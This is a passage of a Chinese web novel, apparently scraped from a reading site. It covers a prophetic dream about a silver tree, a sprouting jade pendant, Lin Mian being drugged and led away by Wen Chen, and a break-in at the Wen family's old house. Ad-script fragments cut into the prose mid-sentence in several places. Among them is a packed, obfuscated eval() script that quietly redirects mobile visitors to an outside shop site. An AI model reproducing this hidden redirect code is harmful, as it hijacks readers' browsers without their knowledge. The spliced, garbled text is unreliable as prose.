不过他不是好事的人,也懒得多问,反正骗的不是自己。 打了会儿,瞿木就犯困了,和对方说了一声,就去睡觉了。 房间里的菌人还在抱着玉佩在摩擦,没了游戏声音,房间内变得十分安静,摩擦声“咿咿嘶嘶”的,虽然有点烦躁,但也抵挡不住他的睡意。 夜晚,瞿木罕见的做梦了。 他梦到自己站在一棵银色大树的前面,一只菌人在大树的枝干上滑落后再爬到树上,重复的进行着。 就在他想要掐自己,看看是不是做梦的时候,他听到了一声音。 “你要来找我吗?” “把我找回来吧。” 瞿木猛地从梦中惊醒,他伸出手摸了摸脑门,一头的汗。他喘着气擦了擦,抬头看向窗外,天还没亮。 “怎么回事?”瞿木一只手撑着额头,低声喃喃道。 自从身体被菌丝寄生后,他除了做那个细思极恐的噩梦,就再也没有做过梦了。这个梦还是跟银色大树有关的。 他看向旁边柜子上的银木玉佩,菌人已经离开了。 61. 夜有所梦 瞿木在床上思考了一会,这个梦说实话不恐怖,但他就是心里毛毛的,而且他觉得这个梦应该和银木有些关系。 这么想着,瞿木又躺了下来,反正天还没亮,接着睡,看看还能不能再梦到,他要多套点线索出来才行。 想归这么想,他一躺下确实睡着了,但是没有做梦,睡到了天明。 林眠今天起的很早,打开手机放着歌,嘴里轻哼着歌在客厅里转悠,还去健身房玩弄了一下健身仪器。 她耳朵灵,一听到瞿木房门里才传来了声音,就立马走到瞿木房间处。 等瞿木一打开房间,她就水灵灵地站在瞿木面前。 “干…干嘛?”瞿木打着哈欠,一推开门,就见到林眠睁着个大眼睛看着自己,那黑白分明的眼珠子还转了转。 “等你出去吃早餐,这附近有一条很出名的街,说早点特别好吃。”林眠说道。 瞿木刚想说去,突然想起什么,有些疑惑地从上到下地打量起林眠,问:“你怎么这么开心?” 昨天明明还苦着脸,就因为那个网友不理她。难道…… “他找你说话了?” 林眠眼睛一亮,“你怎么知道?” 瞿木抽了抽嘴角,这都明晃晃地写在脸上了!他真是越想越生气,自己这么一个大活人、大帅哥就站在她的面前,她怎么就喜欢那网上脸都没有的癞蛤蟆呢? “我不去了,你自己去。”瞿木瞬间像霜打了的茄子,蔫蔫地说。 “你不舒服吗?”林眠见瞿木脸色不好,踮起脚尖,伸出手,将手背抚在瞿木的额头上,嘟囔着说:“没有发热,也没有发凉。” 又思考了一下说:“你是哪里不舒服?” “心脏不舒服。”瞿木看着自己脑门上白净的小手,没有将它拿下来,只是幽幽地说。 林眠放下手,大惊:“这可是大病,心脏不舒服是要去医院的。” “我陪你去吧。” 瞿木叹了口气,“不用。” “陪你去趟那什么早餐街,就好了。” 他发现自己就是没办法对林眠生起气来,甚至还想顺着她,现在就没骨气的想和她一起出去吃早餐。 “真的吗?”林眠确实很想去吃早餐,她昨晚打完游戏后,就去刷了刷视频,刚好刷到了,就惦记了一晚上。 “你真的没事吗?我们可以改天再去。”她还是有些担心瞿木的身体。 瞿木摆了个pose,捏了捏自己的弘二头肌说:“我真没事,而且不是有菌丝在么?我现在就是刀枪不入。” 林眠听了也才放心了一点,说:“那你不舒服要说出来。” “嗯。”瞿木点头,他哪里不舒服?也就是心里不太舒服,一想到那个癞蛤蟆就胸口疼! 林眠和瞿木步行去的那条街,这个点一条街都是推着推车的摊贩,有不少学生正在这里买早餐。 她看到想吃的,也都买了一些。 瞿木不像林眠那样馋,而且他素来是不吃路边摊的,也就是陪林眠来逛逛,吃是不可能吃的,天王老子来了都不可能。 “你不吃点嘛?”林眠提着好几袋,问瞿木。 “不吃。”瞿木说。 “哦。”林眠也不强迫,反正这些她一个人也能吃完。她逛了逛,说:“不知道秦大师和柳大师醒没醒,他们要不要吃。” 说着,她拿出手机,拍了几张照片,发给柳寂白,并问了下。 瞿木倚靠在梧桐树旁,看着这街道上来来往往的人,都是学生居多,也有少数上班族。他揉了揉眉心,想起昨晚那个短暂的梦,此刻还清晰地印在脑海中。 脑部一阵阵痛,恰好正在买东西的林眠回过头来,发现瞿木有些不太舒服,正准备抽身过来。 瞿木朝她摆了摆手,让她接着买,并用嘴型说“没事”。 林眠见状,刚好买的东西也差不多做好了,就只好先等会儿。等她买完,两手提的满满当当,朝着瞿木走过来。 “我来。”瞿木接过手,减轻林眠手上的负担。他低下头看了下这些早餐,忍不住说:“你现在有钱了,买这么多?他们两个吃的完吗?” 林眠想了想,“我是按照我的份量给他们买的,应该够吃。” 瞿木挑挑眉,林眠虽然人不大,但胃口可不小,遇到喜欢吃的能吃不少。他一个大男人,也就和林眠吃个平手。 “行吧。”瞿木回答说。他这几个月都有按时给林眠打钱,算下来,她这会儿应该都有十几万块钱了。 两人一起朝着酒店走去。这么一折腾下来,也才八点出头。 “你刚刚是不太舒服吗?”林眠有些担忧地看着瞿木,明明没有发烧、气色也不错,看起来不太像是生病了。 瞿木垂下眼眸,看了眼林眠说:“我昨晚做了一个梦。” “什么梦?”林眠好奇地问,她从来不做梦。 瞿木想了一下,把梦里的内容说了。 “银树让我去找它。”瞿木说道,他这个梦也没有什么剧情,就是梦到了一棵银色大树,问自己要不要去找它。 但瞿木一想到,还是有些毛骨悚然。 “它有说去哪里找它吗?”林眠比较好奇这个,她现在知道银树的存在,也知道银木是银树的一部份,可是…现在世界上还存在银树吗? 瞿木叹了口气,“对啊,它光说让我去找它,可不说位置在哪啊。” “那周围是什么地方?”林眠接着问。 瞿木被这么一问,才仔细地回想了一下,主要是那棵银色大树太抓眼球了。他当时还真没注意周围,不过他这是在做梦…怎么也不会注意周围吧? “嗯…”瞿木皱着眉头,仔细回想。 直至走到酒店门口,上了电梯,回到套房内,他都没说出个所以然来。 秦宁和柳寂白已经在等着了。 林眠将早餐放下,招呼他们吃,并拍了拍瞿木的肩膀,说:“不想了,想不起来就不想了。” “想什么?”柳寂白拿起一个粢饭团,好奇地看着他们两个。 “瞿木做了个梦,是和银色大树有关的,银树让瞿木去找它。”林眠简要的解释,“瞿木正在想梦里见到银色大树的位置。” 听到这个,秦宁头猛地一抬,看着瞿木说:“真的?” 瞿木坐到沙发处,没好气地翻了个白眼,“我还会说假话?” 他把自己刚刚和林眠说的,又给秦宁和柳寂白重复了一遍,并抱怨地说:“如果不是我日有所思、夜有所梦,那这银树也不太靠谱啊,找我做什么?” “我就是个普通人,顶多有点钱,长得帅一点…不对,这银树…还是颜控?”瞿木一个人在这自言自语的说着。 其他三人都围着桌子坐着,一边吃着早餐一边讨论瞿木的梦。 “我看是他平时想太多,才会梦到银树,毕竟我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们最近的事,都围绕着这几样。”柳寂白说出自己的想法。 银树会入梦传信为什么偏偏找瞿木?最合适的人选明明是林眠啊,本来银树和菌丝就存在着一种…目前还不明朗的关系。 “说不好,瞿木至少和银木,也就是那块玉佩上镶嵌的银木,朝夕相处、贴身佩戴了十年。或许他们之间产生了联系。”秦宁猜测着说,对于银木还是了解的太少了。现在就像是拼图,菌丝他们大概了解的差不多,但是银木的本体是一棵银色大树,这资料实在是太少了我。 文家那边又得不到线索,现在一点头绪都没有。 林眠啃着包子,听着他们两个说。 瞿木见他们都没搭理自己,也只得凑过脑袋去听他们讨论。 “文家不愿意说,我们这边也就没线索了。”柳寂白一想到这个,都快吃不下饭了,“要不硬闯文家试试?” “我打听过了,知道文家的老宅在哪里了,干脆直接进去得了。” 秦宁摇摇头,“这是强盗行为。” 柳寂白:…… “文家虽然不从事这一行了,但谁也不知道他们还有没有人继续学习,而且…”秦宁顿了一下,“文家有一秘宝,名为傀儡匣,也不知文家人还有没有继承。” “傀儡匣是什么?”瞿木问。 秦宁垂下眼,还没说话,柳寂白就解释了。 “傀儡匣就像我的蛇骨伞、秦宁的驱魔弓一样,是会认主的,基本上都是同一家族的血脉。我和秦宁的你们都见过了,傀儡匣我也只是听说,没有见过。” 柳寂白回想了一下,说:“我奶奶和我说过,文家擅操纵之术,但他们鲜少会使用傀儡匣里的傀儡,因此也没多少人见到。” “嗯,这些至宝会认主,但文家已无人学习阴阳之术,那傀儡匣会认哪一个主人?”秦宁也思考了起来,文家人员不多,但主家地位还是很显赫,还有绝对的话语权。 林眠一直在吃,她眼珠子在秦宁和柳寂白之间打转,并问:“不认主会怎么样?” 秦宁看向林眠,眼神滞待了一下,随后摇摇头,“秦家从未出现过这样的状况,我也不太清楚,且没有记载。” “我这也是。”柳寂白说,“实际上,大多数所谓的至宝武器,都是类似于契约,如果没人继承,那就相当于毁约。” “按道理,会遭到反噬。”柳寂白抿着唇说,她们柳家供奉的蛇神,即使后面想脱身了、金盆洗手不干了,那也得先和蛇神达成统一。 林眠大概明白了。 “按照你们这么说,这傀儡匣不得起来造反?”瞿木倒是想的远,“文家都没人继承了,那傀儡匣总得有个去处。” 秦宁解释:“主要是,我们也不了解傀儡匣。” “这很重要吗?”林眠吃饱喝足,问他们,“我们要找的无支祁,跟文家的傀儡匣没有关系,要找的是文家。” 柳寂白朝林眠竖起个大拇指,“就是,我们说着说着,怎么话题就偏了。” “总之,我的建议就是直接潜进去,神不知鬼不觉,不就好了?”柳寂白觉得自己的点子没有问题,而且潜进去最好的人选还是林眠。 菌丝能直接进去,体型又小,不容易被发现。就是秦宁顾忌太多,被发现了,就直接跑掉就好了。 秦宁确实有所顾虑,“林小姐确实很合适,但我们对文家了解太少了,而且…文家的人对林小姐很感兴趣。” 62. 等 林眠听着他们讨论完傀儡匣,又讨论起了自己,有些懵,但文家好歹是除妖世家,自己身上又有菌丝,这也很正常。 她也不会多想什么,只是说:“去探查文家老宅的事我可以试试。” “试什么试?”瞿木阻止说,“你们把文家说的那么厉害,还是你们除妖师里的第一,这谁敢惹啊?” “而且他们都知道无支祁,或许对菌丝也很了解,知道怎么克制菌丝怎么办?”瞿木脑子里涌出一堆想法出来。 现在文家掌握着最多的信息,他们这什么都没准备好,就闯进去,未免…也太危险了。 更重要是,昨天吃饭的时候,文忱明显一直在看着林眠,这点也很奇怪。 柳寂白和秦宁都看着瞿木,过了好几秒,秦宁才开口说:“你说的没错。” 这件事也就不了了之。 吃过早餐后,秦宁就出门去了,柳寂白待了一会儿,突然拿起手机说:“有个订单,我先出去有一会。” “什么订单?”林眠探出头,问。 柳寂白晃了晃手机,“我在网上接单,给人算算命、看看风水什么的。” “哦。”林眠点点头。 瞿木皱起眉,忍不住说:“你混的这么差啊?还要网上接单?网上的不都是骗子么?” “你以为钱那么好赚啊?”柳寂白翻了个白眼,解释说,“我这是去在民间走动,才能多打探到消息。” 柳寂白嘴上这么说着,心里其实还真的奔着赚钱去的。 柳家供奉的蛇神,而这蛇神喜财,所以柳家的财运都被蛇神都吸走了。因此,她也只能赚些小钱才稳妥,赚大钱基本上都倒霉。 她说完后,和林眠他们打声招呼,就离开了。 瞿木摊手,“人与人的区别真大。” 别的他不了解,但秦宁肯定赚的盆满钵满,毕竟自己家每年找秦宁看风水都用了不少钱。 林眠吃饱喝足,就去找菌人,并说:“瞿木,你看到菌人了吗?昨晚它就不知道跑哪儿去了。” “我房间里吧。”瞿木说,“昨晚它就在,不过早上的时候又不在了。” 主要是银木还在他房间里,菌人吃饱了就喜欢去找银木。 “那我进去了?”林眠已经走到瞿木房门口了,但还没推门。 “去吧。”瞿木扭了扭肩膀,也跟着林眠进去。 林眠打开房门,一眼便看到了床头柜处的白色菌人。她将搓好的蘑菇递给菌人,菌人便放下银木,趴在蘑菇上啃了起来。 “跟猪一样,每天吃这么多。”瞿木在旁边吐槽说。 林眠没反驳,毕竟拇指大小的菌人,一天可以吃四五个和馒头大小一样的蘑菇。她看向桌上的玉佩,突然发现有些不太一样。 “瞿木,你快看,玉佩不一样了。” “哪里?”瞿木一听,连忙走上前,拿起玉佩看了看。 林眠伸过脑袋,仔细地打量,说:“银木这里,是不是长出了一点点?” “何止一点点啊。”瞿木看着这个边角处说,这都是肉眼就能看到的,就像是树上长了新枝一样,这块银木上长了一个分枝。 林眠和瞿木对视一眼后,纷纷看向正在啃蘑菇的菌人。 “这就是养树?”瞿木摸着银木说,“它每天这么摩擦磨出来的?” “不对,昨晚我睡觉前还没有。” 瞿木拿着银木玉佩端详,看了不到一分钟,他抖了抖身体说:“那这玉佩我还能戴吗?都长小枝条了,一不小心就戳死我了。” “虽然说不上祖传宝贝,但好像也戴了十年。” 林眠伸出手摸了摸银木长出来的那根小分叉枝,说:“按照这个速度,再过半个月,这块银木岂不是都是小树枝了?” “应该挺好看的。” 林眠很喜欢银木的颜色和手感。 瞿木看着林眠这无忧无虑的样子,不免有些无奈,他做的梦、银木的异样,都让人感觉最近不太平。 但接下来的几天,都让瞿木感觉是自己的错觉。 这几天,无事发生。 他每天就和林眠到街上逛逛,吃吃喝喝,突然觉得日子也惬意极了,就是梧州不靠海,不然还能带林眠去海边转转。 “又长了。”林眠拿着银木玉佩给大家看,说:“有五个小树枝了。” 秦宁他们也知道银木的变化,说:“再观察观察,看样子菌丝说得对,有菌人在,银木就会慢慢长大。” “到最后,变成一棵树?”柳寂白问。 “这长成树得何年何月?”瞿木抿着唇。 秦宁放下书本,说:“菌人太少了,如果数量多一些,说不定银树会长得快一些。” “不过,菌丝说银木是容器,让我们养大,要养到多大才行?” “养大了那就要找个地方种起来。”林眠插上一句,“树肯定是要种起来才行。” 瞿木一听,也很有道理,但是…… “这玩意都不需要土,我看也不一定要种起来。” 话虽这么说,瞿木已经在脑子里思索着适合把银树种在哪儿,根据他在梦里看到的,这银树还真的很漂亮,应该要有一个大庭院。 柳寂白看着他们,笑了笑,突然站起身说:“我要离开梧州一段时间。” “怎么了?”林眠放下菌人,问。 柳寂白说:“现在线索断了,文家那边我们也不好直接动手。我想我还是先回家一趟,问问家中长辈,看看有没有新的线索。” “我要是有发现,会第一时间联系你们。” 瞿木一听也是,这几天他们都在梧州市内,也确实没有线索。 “嗯嗯。”林眠点点头。 柳寂白和他们告别后,就收拾东西离开了,一点都不拖泥带水。 她走后,林眠看着坐在自己对面的瞿木和秦宁,问:“我们之后要做什么?” 瞿木耸耸肩,表示不知道,并说:“要不回北城吧?我都好几个月没回去了,我爸妈都从国外回来了。” 林眠倒是无所谓,去哪儿她都行。 两人看向秦宁。 秦宁还在看书,手上的书是从林眠家里拿出来的那些。他看了会,发现林眠和瞿木都在看着自己,便说:“等。” “等什么?”瞿木问。 “不知道,但我有强烈的预感,还需要等。”秦宁不紧不慢地说。 瞿木抽了抽嘴角,那他还有预感回北城会发生事呢? “仔细想想,我们这一路上,都是有人在引导我们。”秦宁突然开口说,视线却没从书上离开,“就像牛饮春居 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住在盖山村,养了菌人,都是有人在引导他,我们离开北城来到盖山村,是因为况衍君的引导。” “这两件事如出一辙。” 林眠睁大眼睛,说:“你是说,是同一个人?” “不排除。” 秦宁将书本翻页,接着说:“文家这儿拿不到线索,但我们还可以从况衍君身上下手。他知道的,不比文家少。” “他是无支祁的人,我们去哪里找他?”瞿木还是觉得不太靠谱,“而且,他为什么要帮我们?不如考虑下,他做这些事是有什么目的。” 秦宁没出声。 林眠仰起头,问:“有什么目的?” “我…”瞿木舔了舔嘴唇,“我也不知道。” “但也多亏了他,我们目前才有这么多的线索。”秦宁说道,这就是最让他疑惑的事,况衍君明明无支祁的人,为什么…还要做这种事。 瞿木晃了晃头,“谁知道啊?我们又不是他肚子里的蛔虫。” “我还特地打电话和爷爷聊过,爷爷显然对况衍君不太了解,我就说他一个老头子,哪来的忘年交啊?”瞿木边说边吐槽,况衍君从接近自己的爷爷就别有目的。 “总之,先按兵不动。”秦宁说,“也许很快就会有事发生了。” 既然况衍君让他们去了盖山村,又在盖山村获益匪浅,那么…他就不可能停下来,什么也不做。 无论是好是坏。 瞿木想想也是,北城也有无支祁的人,还不如现在梧州待着,也只能听秦宁的,无非就是多待些日子罢了。 他们两个都决定好了,林眠自然也没有异议,她正忙着给菌人搓蘑菇。 接下来的几天里,秦宁几乎闭门不出,整天缩在房间里看书。瞿木也久违的和朋友们打了打游戏,还教会了林眠怎么打。 日子过的休闲且自在。 比起秦宁和瞿木各自都自己的事和乐子,林眠就显得没事干了。她一来看不太明白那些老旧的书籍,二来游戏也打的不太好,手速跟不上,打几次后她就不怎么想玩了。 每日喂喂菌人,查看银木的状态后,也就没事可干了。 因此,林眠每天闲的时候就会去街道上走走,散步。这附近有个大公园,每天都有不少人在。 晚上吃完饭,林眠就收拾收拾准备出门了。 “瞿木,你去吗?”林眠出门前还不忘问问瞿木。 瞿木本想答应,但想到今晚答应了赵阳博,还组了打游戏的局,就摇了摇头,说:“今天不跟你一起了,你早点回来啊。” “好。”林眠点头,公园就在附近,每天晚上7点左右,就有很多阿姨在那跳舞,她也跟着学习了一下。 最近几天,都是雷打不动的去公园跟阿姨们跳舞。 瞿木去过几次后,就不是很愿意了。太尴尬了,一群阿姨看到他就跟看到了肉一样,抓着问他有没有女朋友什么的。 林眠拎着包出门,一路步行到公园处,刚进公园大门,就有一个大湖,湖边停满了小船。她沿着湖边往前走,快看到那片树林里的空地了,她脚步都快了一些。 但她还没走到,面前突然出现一个人。 林眠停了下来,看着面前这个戴着眼镜,气质十分儒雅的男人。 她记得这个人,文忱。 63. 失踪 “文叔。”林眠有点害怕他,嘴上喊着“文叔”,身体却往后退了几步。 林眠往后退了几步,就扭头撒腿就跑。她跑的很快,想必一会儿就能甩掉文忱,只是她一抬头,文忱又站在了她的面前。 “你很害怕?” “为什么?”文忱用食指抬了抬眼眶,开门见山地说:“林小姐,有空坐下来谈一谈吗?我是特地过来找你的。” 林眠仰起头,看着这个中年男人,不明白自己有什么和他好谈的。 “我能拒绝吗?”林眠看了看周围,人来人往,但似乎没什么人注意到这边的异样。 文忱歪着头,笑了,说:“不能。” “只是简单的聊一下,不会耽误你太多时间。” 林眠抿着唇,不情不愿地点了下头。她眼珠子转了转,指了附近一家茶饮店,那里靠近湖边,且人多。 “我们去那儿。” “好。”文忱不甚在意。 两人进了茶饮店,林眠要了杯热牛奶,扭过头问他:“你要喝点什么?” “热茶。”文忱说。 林眠给文忱点上,两人坐在靠窗的位置处。 “有什么事吗?”林眠小心翼翼地问他。她听秦宁他们说了很多关于文家的事,知道他们以前很厉害,但…这不应该是她害怕的原因。 她和瞿木一起跟他们吃饭的时候,还没什么感觉,但单独待在一起,就有一种难以言说的感觉,很熟悉、又很陌生,让人感到不安。 文枕身体轻轻往前,一双眼盯着林眠看,没有说话。 林眠抬起眼,看着他。 “你的母亲,是不是叫林语枫?”文枕身体往后倾,问她。 林眠听到这个熟悉又陌生的名字,点了点头。虽然她没见过妈妈,但名字还是知道的。 “你…认识吗?”林眠试探着问,文家的人为什么会认识妈妈? “当然。”文忱回答的很快。 刚好店员端着饮品上来了。 林眠接过自己的热牛奶,双手紧紧握着。 文忱喝了一口热茶,看向玻璃窗外,轻声说:“何止是认识。” 或许是因为聊了几句,林眠心安了一些,但还是有些奇怪地问:“那你找我做什么?有什么事吗?” 她妈妈的人际关系和自己又没有什么关系。 文忱抬起眼眸,有些犀利地看着林眠,说:“你知道我和你是什么关系吗?” “什么关系?”林眠喝着牛奶,不太懂地问。 “按照辈分,你应该喊我一声叔叔。” “咳。”林眠听到“叔叔”二字,被牛奶呛到了。 文忱对她这个反应并不吃惊,而是慢慢解释说:“林语枫和我哥文恪是夫妻,他们两个在一起后,有了你。” “不过,那天的和你们的聚会,我是第一次见到你。你长得和她很像,几乎是一个模子刻出来的。” 文忱说这话的时候视线一直紧紧盯着林眠看,眼底闪过一抹厉色,说:“但无论她是谁,你是谁,你们本质都一样,从出生起就是菌丝的容器,是菌丝的阴谋。” 林眠手一抖,差点没握紧被子,她有些怯意地看着文忱,咬着牙说:“或许你真的是我的叔叔,但是我没有父亲、也没有母亲,他们于我而言,是陌生的。” “你也是。” 林眠把话说的委婉了些,也算是给足了面子。实际上她心里想的是,你算是哪门子的叔叔? 更何况,他今天特地来找自己,还到了公园里…摆明就是跟踪了自己许久。 “哈哈。”文忱笑了起来,毫不介意地说:“话虽如此,但你身上流着我们文家的血。我来找你,自然也不是来认亲。” “那要做什么?”林眠皱了一下眉,她下意识地看向门口处,想要逃跑。 “那自然是,要你做一件很重要的事。” 文忱话音刚落,林眠就觉得眼前有些模糊,她努力地晃了一下头,但还是昏昏沉沉的。 “挺聪明,只可惜晚了一步。”文忱笑着说,刚刚林眠看向门外的动作他看的一清二楚,可惜还是迟了。 “走吧,我们回家。”文忱将杯子中的茶一饮而尽,站起身往门外走。 林眠跟着他往外走。 —— 瞿木在家打了好几把游戏了,一抬头,已经晚上9点了。 “怎么还没回来?”瞿木嘟囔着说,起身喝了口水,揉了揉脖子,给林眠发了条信息过去。 但过了好几分钟,都没收到回复。 他又打了个电话过去,也没接。 “这是怎么了?”瞿木看着手机,又发了几条信息过去。 等到9点三十分,他还是没联系上林眠,急匆匆地去楼下找秦宁。 秦宁得知事情原委后,说:“有没有可能她玩的忘记时间了?刚好手机没电。” 他不太相信林眠会出事,林眠身上有菌丝,一般人没办法拿她怎么样。 “不可能。”瞿木说,“她平时回我消息回的很快,而且她出门前喜欢把手机充满电,不可能没有电。” 秦宁沉默。 “你用你那个符咒帮我找找,看看是不是在公园那个方向,她去那儿了。”瞿木直接开口说了。 他来就是想找秦宁帮自己确认一下位置。 “好。” 这不是什么难事,秦宁闭上眼,嘴里念决,手上画符,很快半空中出现一张红色符咒,只是还没指明方向,这张符咒就燃烧了起来。 看到这个情况,秦宁才紧张了起来。 “这是怎么回事?”瞿木问,这符咒怎么烧起来了? “出事了。”秦宁说,“有人阻挡了符咒的追踪。” 瞿木的心更加悬了,他连忙摁下楼梯,说:“我们该怎么办?先去公园找一圈。” 秦宁皱着眉,也只能先跟瞿木去公园处,看看情况。能够阻止他的追踪符的人,会是谁?为什么阻止自己找林眠? 他们去到了公园处,转了一圈,还问了问人,都没有线索。 “这怎么办啊?该不会是况衍君来了吧?”瞿木说,“还是无支祁的人把她带走了?她不会出事吧?” 瞿木急的上蹿下跳,“你快想想办法啊,还有没有别的办法能找到人?” “不行,我找卫叔。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967909|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞿木直接打电话,这现代社会了,一个人还能凭空消失了? “等下。”秦宁伸出手,拦住瞿木,说:“那里有一家店。” 瞿木看过去。 “那家店靠近湖边,但是门口有两个监控,刚好能找到这一条大路。我们过去看看。”秦宁也是刚刚才注意到,这家店开在一堆绿植里,不仔细看还真没注意到。 瞿木听完,直接走了过去。 他进了店里,找店员,问可不可以看监控,理所当然地被直接拒绝了。 “这个你们人丢了,可以去找公园管理处。”店员建议说,还指了指方向,“在那一边,比较远。” 瞿木咬着牙,他当然知道要找管理处,可人家不给看,说什么又不是小孩走丢了。如果真的想看,要他拿出证明才行,或者找警察局。 店员看他们慌慌张张的,也不敢轻易把监控给他们看,毕竟什么事她也不清楚,只能建议着说。 刚好瞿木的手机屏幕亮了,她低下眼看了一下,发出了“咦”的一声,说:“你们要找的是这个人吗?” 瞿木低头一看,连忙说“是”。 这是卫叔给自己发来信息了。 “你见过吗?”瞿木问。 店员点点头,说:“我印象特别深刻,就在几个小时前,她和一个男人在店里坐下,聊了会儿天,就离开了。” “去哪儿了?”瞿木紧张地问。 店员想了想,说:“他们一起离开了,看起来特别正常,是不是你们误会了什么?她看着也是成年了。” “误会个屁。”瞿木直接说,男人?哪个男人?该不会是她那个素未谋面的网友吧? 秦宁比瞿木要淡定得多,他问店员:“能不能形容一下那个男人的长相?” “大约有三十来岁的模样,戴个眼睛,身上的气质十分儒雅,长得还很帅!”店员大致描述了一下。 “三十来岁?”瞿木皱了一下眉。 林眠的网友还是个老男人?该不会被骗了吧? “能否让我们看一眼监控,就看一眼那个男人的长相。”秦宁再问,三十来岁的男人,他一时之间还真想不出合适的人选。 店员有些犹豫,但见他们实在不像是坏人,且都很着急,便点点头,说:“你们等我一下。” 她走到里面那个房间处,找到监控录像,录了一小段走出来。 “你们看,就是这个人。” 瞿木第一个拿过手机看,他一看,脸上露出震惊的神色。 秦宁凑过来看了一眼,也皱了一下眉。 两人跟店员说了谢谢,就离开了店内。 “文家什么意思啊?为什么要来找林眠?”瞿木气势汹汹,就想要去找文家人,“得找他们,要个说法才成!” 秦宁没说话,一直在想视频中的内容,看样子林眠是自愿跟着文忱走的。 “等等,你觉得当时林眠是不是自愿跟他走的?”秦宁问,他有些迷惑。 “肯定不是啊,自愿跟他走的,为什么不回我信息?”瞿木说的理所当然,跟秦宁说完,他就直接打电话给文家的人。 秦宁看着瞿木,若有所思。 64. 文家老宅 瞿木电话一打过去,接听电话的人是文忱。 “你把林眠带哪去了?”瞿木厉声问他。 文忱的声音轻飘飘的传来,随后挂断了电话。 “说了什么?”秦宁问。 瞿木愣了一下,才气愤地说:“他说林眠是他们文家的人,让我少管闲事。” “文家的人?”秦宁说。 “我现在就去文家找他们。”瞿木已经没空抠细节了,说着就直接拦下一辆出租车,上车了。 秦宁也只能跟上去,坐上车。 “你冷静一些。”秦宁对瞿木说。这件事很奇怪。 “怎么冷静?谁知道文家这是想做什么?他们都不从事这一行了,还把人带走做什么?”瞿木咬着牙说,他不知道文家的目的是什么,但是肯定不会是好事。 而且从他们之前发现的来看,文家说不定和无支祁还有什么见不得人的勾当。 秦宁没出声,垂着眼在思考。文家是要菌丝?但为什么说林眠是文家的人? 司机看了眼后视镜,等他们说完,才问:“要去哪里?” “这个地址。”瞿木将手机递给司机看,这是他目前唯一知道的地址,文家老宅。 司机点开导航,就出发了。 一路上,瞿木和秦宁都没出声。 大约开了三十分钟,就到了文家附近。 司机将车子停下,说:“这边我开不进去了,你们在这下吧,往前走走就是了。” 瞿木下了车,付了钱,看着前面那栋高大的别墅。 “你确定是这个地址?”秦宁问,“这里不是市区。” “卫叔给我的是文家老宅地址,以前我爷爷来过一次,才知道的。”瞿木说,“那别的地方我也不知道,先去老宅看看吧。” 瞿木心里也没底,“如果没有,我再让卫叔找找。” “行。”秦宁说着,便开始着手准备,并对瞿木说:“既然要做,就准备的万全一些。毕竟这里是文家。” 瞿木点点头,看着老宅处,也不知道林眠在不在这里。 秦宁准备好了,丢给瞿木一张符咒,说:“你拿着,危机时候还能保你一命。” 瞿木接过符咒,怎么感觉跟上战场一样?不过… “你怎么把脸都蒙上了?”瞿木看着他不知道哪儿找来一块黑布,将脸都蒙上了。 “现在监控多,而且我这块黑布是特制的,有咒术效果,能够让监控拍不到五官。”秦宁解释说,问:“你要吗?” 瞿木抽了抽嘴角,他可是一点都不怕被监控拍到,甚至还希望被监控拍到,他今天就是要来砸文家的场的! 当然,前提是林眠在这里。 “我不要,赶紧走吧。”瞿木摆摆手,没要这个黑面巾,但还是把符咒揣兜里,开始找路进去。 这里有个大门,但门口有保安看守,显然不适合硬闯。文家肯定不欢迎他们的到来,为了先进去看看情况,最好的办法还是翻墙。 他和秦宁在周围找了一圈,发现后面有堵墙。秦宁试探了一下,没事才爬上去,瞿木也跟着爬上去。 进了院子,瞿木四处张望,嘟囔说:“这什么庭院,连盏灯都不装。” 好在今晚月光不错,不然真是两眼一抹黑。 秦宁没说话,只是看了看周围,示意瞿木往这边走。 这里十分的静谧,明明花草树木繁多,也有水池池塘,但是一点虫鸣鸟叫声都没,反而安静地掉一根针都能听到。 绕着院子走了一圈,就到了别墅处。 “你觉不觉得,这里很奇怪?文家老爷子不是住这儿么?一点人气都没有。”瞿木倚靠在墙壁上,轻声说。 说完,他就勾着脑袋,往窗户里望了望,又试着推了推窗户。 秦宁也倚靠在墙上,警惕地看着四周,说:“刚刚那个院子,是个巨大的风水阵,主要用来镇住恶鬼之流的煞气。” “不是说没有鬼么?”瞿木问,他对秦宁之前说的话记得很清楚。 “没有长时间留存于世的鬼,但耐不住有心之人制造恶鬼。”秦宁说道。 瞿木:……不明白。 他也懒得管这个风水阵干嘛的,当务之急是找到林眠,文家这里奇奇怪怪的,他光是走进来,就觉得瘆得慌。 “窗户没锁,能推开。”瞿木说着就准备推开,却被秦宁按住了。 “等下。”秦宁拉住瞿木的手,自己走到窗户边,在窗户上画了个图案,等到图案由深变浅,消失了,才说:“现在可以了。” 瞿木看了眼秦宁,才缓慢地推开窗户。窗户打开后,他才爬进去,打量着周围。 “这什么啊?”瞿木看着墙上的挂着的画,每幅画的内容都是神魔类的,面目狰狞,眼神吓人。 光是看几眼,就感觉和这些画里的人物对视上了,吓得瞿木赶紧收回视线,看着地板往前走。 秦宁打量了几眼,这些都是仿照壁画而画的,画的不错,颇有神韵,只可惜画纸太小,没能展现壁画的恢弘。 他率先走到门口处,查查看有没有封印,之后才打开门。 “有人吗?”瞿木躲在秦宁身后,小声问。 秦宁没回答,而且看了眼走廊,黑漆漆一片,便直接走了出来。 瞿木赶紧跟上。 这里是一楼,两人在这转了转后,得出结论,一楼这里真的一个人都没有,只有一些奇奇怪怪的房间。 “没人啊,楼上会有人吗?”瞿木开始怀疑了,一楼连个人影都看不见,二楼还能有人吗?说不定文家老爷子都不在住了。 想着想着,瞿木就掏出手机,给卫叔发了信息,让他赶紧把文家其他住址发给自己。今晚他不睡了,一定要把林眠给找出来。 虽然林眠不在,他本来也没法睡。 